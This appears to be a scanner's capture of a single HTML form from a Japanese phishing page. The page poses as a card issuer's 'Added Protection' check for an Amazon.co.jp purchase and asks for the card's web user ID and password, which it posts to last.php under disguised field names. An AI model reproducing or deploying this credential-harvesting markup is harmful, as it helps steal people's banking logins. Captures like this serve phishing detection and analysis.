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1 forms found in the DOM

POST ./last.php

<form action="./last.php" method="POST">
  <h4>Added Protection</h4>
  <p>お客様のご利用カード会社インターネットサービスパスワードをご入力ください。</p>
  <table style="margin-top: 15px; margin-left: 90px;">
    <tbody>
      <tr>
        <td>加盟店名：</td>
        <td>Amazon.co.jp</td>
      </tr>
      <tr>
        <td>ご利用金額：</td>
        <td>¥ 0.00</td>
      </tr>
      <tr>
        <td>ご利用日：</td>
        <td id="DateOfAdmission">Thu Jan 05 2023</td>
      </tr>
      <tr>
        <td>カード番号：</td>
        <td id="medicalCertificateID">****-****-****-null</td>
      </tr>
      <tr>
        <td>
          <label style="margin-bottom: 11px; display: block;">WebユーザーID:</label>
        </td>
        <td>
          <input type="text" name="confirmed" minlength="4" maxlength="64" autocomplete="off" spellcheck="false">
        </td>
      </tr>
      <tr>
        <td>
          <label style="margin-bottom: 11px; display: block;">パスワード:</label>
        </td>
        <td>
          <input type="password" name="studentID" minlength="4" maxlength="64" autocomplete="off" spellcheck="false">
        </td>
      </tr>
    </tbody>
  </table>
  <div class="divider"></div>
  <div class="button-wrapper">
    <button type="submit"> Submit</button>
    <img src="static/img/what.png" alt=" ? ">
    <a class="mini-text res left">ヘルプ</a>
    <a class="mini-text left">キャンセル</a>
  </div>
</form>

Text Content

ADDED PROTECTION

お客様のご利用カード会社インターネットサービスパスワードをご入力ください。

加盟店名： Amazon.co.jp ご利用金額： ¥ 0.00 ご利用日： Thu Jan 05 2023 カード番号：
****-****-****-null WebユーザーID: パスワード:


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